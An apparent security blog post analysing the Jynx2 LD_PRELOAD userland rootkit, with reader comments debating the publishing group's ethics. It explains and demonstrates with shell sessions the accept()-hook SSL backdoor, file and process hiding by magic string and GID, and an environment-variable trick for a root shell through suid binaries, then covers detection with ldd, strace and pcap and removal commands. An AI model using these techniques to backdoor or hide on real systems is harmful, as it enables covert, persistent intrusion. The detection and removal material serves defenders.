Jynx2 is the second installment in the LD_Preload Jynx Rootkit series first released October 19, 2011 at blackhatacademy.org. See references for earlier versions and additional information.
Features:
- Hooks accept() for socket connections
- Multi-factor authentication
- Suid Privesc Drop
- Process hiding
- File hiding
C’s accept() function is the function used when a socket connection is received and initiated by the server. This is typically used for all TCP-related server-side functionality written in C, and by overriding it, we can determine if this is regular traffic for the port, or if it’s the rootkit owner attempting to log in. In order to determine whether or not to hijack the socket’s file descriptor, we check against the client-side port (defined by highport and lowport in the pre-compile configuration of the rootkit) attempting to open the connection. If the port is correct, the file descriptor is hijacked and the connection and related processes becomes hidden from a typical administrator. Otherwise, the connection is passed to the service daemon and the service operates normally for the user connecting to the service, as if no rootkit is present.
Due to the accept() hook, this rootkit does not require any modification of existing firewalls. This makes it particularly effective when the server is behind a network layer appliance type firewall, as no holes need to be poked. Any existing service may be hooked; so long as the service is restarted it will grant access as the service’s username, and suid shell drop is available. While this feature is similar to ncom’s accept() hook, the use of SSL is a vast improvement over it.
Files and processes are hidden by several factors in the pre-compile configuration phase, along with a default password (DEFAULT_PASS). The factors used after authentication for hiding files and processes include a “Magic string” and a “Magic GID”. This means that any files beginning with a particular string (“XxJynx” by default) or owned by a particular group will automatically be hidden from the root user.
# cd ~user/ # mkdir XxJynx_myfiles # ls | grep myfiles #
However, due to the nature of the kit, we can still see this file when we are logged in from the netcat shell (an attacker’s perspective). This was fixed with the file “reality.so” installed to its INSTALL directory on installation of the kit.
# ncat --ssl localhost 80 -p1021 cd ~user/ # ls | grep -i jynx XxJynx_myfiles
Like many things on UNIX (and Linux by extension), processes are represented as files. This is done the /proc filesystem in Linux. Every process is has a directory corresponding to its PID in /proc.
For example:
$ sleep 100
[1] 3700
$ ls /proc/3700
attr coredump_filter io mountstats pagemap stat
autogroup cpuset limits net personality statm
auxv cwd loginuid ns root status
cgroup environ maps numa_maps sched syscall
clear_refs exe mem oom_adj sessionid task
cmdline fd mountinfo oom_score smaps wchan
comm fdinfo mounts oom_score_adj stack
The files contain various pieces of information about the process, such as memory space, environment variables and current working directory. Since there is no API within Linux for viewing process information, all one must do to hide a process is hide its entry in the /proc file system. Since each the proc entries are owned by the owner of that process, any process started under the magic GID/UID will be hidden just the same as a file would be.
Processes spawned by the backdoor or by the jynx user are also hidden from listing in /proc:
jynx@kingmaker:/home/jynx2$ sleep 1000 &
[1] 30835
jynx@kingmaker:/home/jynx2$ ls /proc/30835
ls: cannot access /proc/30835: No such file or directory
By setting the LD_PRELOAD environment variable to the reality.so file, we can see hidden files, processes, and folders:
jynx@kingmaker:/home/jynx2$ LD_PRELOAD=/XxJynx/reality.so ls /proc/30835
attr auxv clear_refs comm cpuset environ fd io loginuid mem mounts net numa_maps oom_score pagemap root sessionid stack statm syscall
wchan autogroup cgroup cmdline coredump_filter cwd exe fdinfo limits maps mountinfo mountstats ns oom_adj oom_score_adj personality sched smaps stat
status task
Processes owned by the magic GID or spawned by the backdoor are hidden similarly from ps:
# su jynx
$ sleep 100
# ps aux | grep sleep
user 30827 0.0 0.0 18252 1612 pts/2 S+ 18:43 0:00 grep sleep
There is no sleep process from the jynx user. Similarly, using the backdoor:
# ncat --ssl localhost 80 -p1021
whoami
www-data
# ps aux | grep bash
user 29683 0.0 0.1 21064 3992 pts/3 Ss 17:20 0:00 bash
root 29786 0.0 0.0 19448 2176 pts/3 S 17:20 0:00 bash
user 29995 0.0 0.1 21064 3996 pts/1 Ss 17:34 0:00 bash
root 30124 0.0 0.0 19448 2212 pts/1 S 17:35 0:00 bash
user 30516 1.6 0.1 31500 4588 pts/2 Ss 18:07 0:00 bash
user 30608 0.0 0.0 18256 1612 pts/2 S+ 18:07 0:00 grep bash
As we can see here, there is no bash process running in ps for www-data.
Additionally, by setting the environment variable matching the magic string, we’re able to obtain root privileges with the backdoor using a suid binary:
# ncat --ssl localhost 80 -p 1021
# whoami
www-data
# XxJynx=hax gpasswd /
stdin: is not a tty
# whoami
root
The privilege escelation backdoor uses preloaded setuid bins to produce a root shell. For example, gpasswd, which is used in the above example:
$ ls -lah $(which gpasswd) -rwsr-xr-x 1 root root 59K Feb 16 2011 /usr/bin/gpasswd
LD_PRELOAD will not normally apply to setuid binaries unless certain conditions are met, most notably the shared library must be placed in /lib and /usr/lib. However, this restriction does not apply to shared libraries placed in /etc/ld.so.preload. In each hooked/preloaded function there is a function which checks the environment variable XxJynx (which is set in config.h) for a specific value. If that value is set, it will spawn a root shell if it has the permissions to do so.
Detection:
- LDD
Perhaps the simplest method of detection is with ldd, this is a simple ldd of the “ls” coreutil binary.
# ldd /bin/ls linux-vdso.so.1 => (0x00007fff86dff000) /XxJynx/jynx2.so (0x00007f6ce5a3e000) libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007f6ce5806000) librt.so.1 => /lib/x86_64-linux-gnu/librt.so.1 (0x00007f6ce55fe000) libacl.so.1 => /lib/x86_64-linux-gnu/libacl.so.1 (0x00007f6ce53f6000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f6ce506f000) libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f6ce4e6a000) libssl.so.1.0.0 => /usr/lib/x86_64-linux-gnu/libssl.so.1.0.0 (0x00007f6ce4c18000) /lib64/ld-linux-x86-64.so.2 (0x00007f6ce5c48000) libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f6ce49fc000) libattr.so.1 => /lib/x86_64-linux-gnu/libattr.so.1 (0x00007f6ce47f7000) libcrypto.so.1.0.0 => /usr/lib/x86_64-linux-gnu/libcrypto.so.1.0.0 (0x00007f6ce4431000) libz.so.1 => /usr/lib/libz.so.1 (0x00007f6ce421a000)
This, of course could be changed to point to /etc/ld.so.preload, however if you try to access the file, it won’t exist. So, one method of detection would be to determine the presence of ld.so.preload etc or any library inside of an `ldd’ listing that cannot be read by your user using bash, claiming that the file does not exist.
- strace
We ran “strace nc -l -p 6001″, as even netcat will be hooked, to show an example of the accept() hook. Here, we show netcat binding and listening on the port, then waiting for connection
bind(3, {sa_family=AF_INET, sin_port=htons(6001), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 10) = 0
fcntl64(3, F_GETFL) = 0x2 (flags O_RDWR)
fcntl64(3, F_SETFL, O_RDWR|O_NONBLOCK) = 0
select(4, [3], NULL, NULL, NULL) = 1 (in [3])
Now we can see the connection being accepted in strace:
accept(3, {sa_family=AF_INET, sin_port=htons(1021), sin_addr=inet_addr("127.0.0.1")}, [16]) = 4
Once the password is entered, we see the kit hijacking the file descriptor::
clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0xb729d728) = 8527 close(-1) = -1 EBADF (Bad file descriptor)
Then moving to protect the connection:
select(4, [3], NULL, NULL, NULL) = ? ERESTARTNOHAND (To be restarted)
--- {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=8527, si_status=1, si_utime=7, si_stime=0} (Child exited) ---
waitpid(-1, NULL, WNOHANG) = 8527
waitpid(-1, NULL, WNOHANG) = -1 ECHILD (No child processes)
sigreturn() = ? (mask now [])
At this point in the sequence, an attacker has already entered root access level on the infected system, yet the connection does not appear in netstat, nor any additional PID’s appear in /proc or processes in ps/top. So we can easily make a comparison based from the strace with netstat in order to locate an attacker logging into a compromised machine.
- Netstat and pcap discrepancies
Another method of detection includes the comparison of pcap data with netstat data; however it is also difficult to determine what the attacker was doing due to the shell being SSL encrypted. Our PCAP file contains a recording of the infected host’s traffic logs. Though this rootkit may hide from netstat, it does not yet hide from pcap. The SSL hook does not require the support of SSL within the service, only that SSL be installed on the system being infected.
Removal
The older method of removing jynx will no longer work:
echo "" > /etc/ld.so.preload
For any ld_preload rootkit, the best method of removal is by mounting the drive from a livecd and deleting it that way, due to the number of potential function hooks that could be embedded within the kit. This particular kit does not protect itself from symbolic links, and therefore can be easily removed. For ease of removal, you can run the following commands to remove Jynx2
- Create 0day attacks as part of the Advanced Persistent Threat
- 5 days of Intensive Hands-On Labs
- Use fuzzers and dynamic analysis to attack custom and COTS apps
- Reverse engineer binaries to find new vulnerabilities never discovered before
- Attack and defeat VPNs, IDS/IPS and other security technologies
ln -s /etc/ld.so.preload ./rootkit.so echo "" > ./rootkit.so rm -vf rootkit.so











Any further details on how it hides processes?
Jynx2 Sneak Peek & Analysis??? What is Jynx? How are we supposed to know? Really bad editing. This article directly starts with “Features” FEATURES OF WHAT??
The kit “hides” the process based on the assigned magic gid, since process information is stored in a file format in /proc. The kit hooks readdir and opendir, therefore enabling it to hide the files / information directly associated with the given process. The source will be released soon, and you’ll be free to dig through it all you want. Enjoy
BHA is a group of skiddies teachiung each other how to be better Skids. Unless it’s coincidence the “instructors” are all blackhats who fool with carding, doxing, and botting while publicly insisting their motives are angelic?
These are some pretty strong allegations.
But, I’d have to ask… how would revealing the removal technique before publishing the tool benefit criminals?
Got any evidence of this stuff you claim?
Notice there’s no carding, doxing, or botting instruction (or applications) on our wiki?
Sorry; you’ve got the wrong people. Maybe some proper research in the future would help you keep from embarrassing yourself this way.
Blackhat Academy is an educational group, far removed from any sort of criminal activity. That is like saying the BlackHat Conference is all criminals, skids and carders because the name has ‘blackhat’ in it.
The BHA website is informational and educational just like any other information security source.
Also, this Jynx2 release doesn’t exactly shout script kiddie….The very fact that they *wrote it themselves* means they are the exact opposite of ‘script kiddies’.
If you want to go troll some wanna-be’s, go pick on hack-forums or one of those sites.
To be honest, I don’t really care about the ethics of the group in the first place. They provide quality information security resources free of charge, and they don’t advocate any sort of crime on their website.
Remember that time a website got defaced with the message “HACKED BY BLACKHAT FORUMS”?
Me neither
Joh, not sure how you can call people that write a kernel rootkit “script kiddies”.
What have you ever published?
@Blackhat Academy:
Nice article. btw it’s a pretty good idea using /etc/ld.so.preload
@Jack Koziol:
it’s a userspace rootkit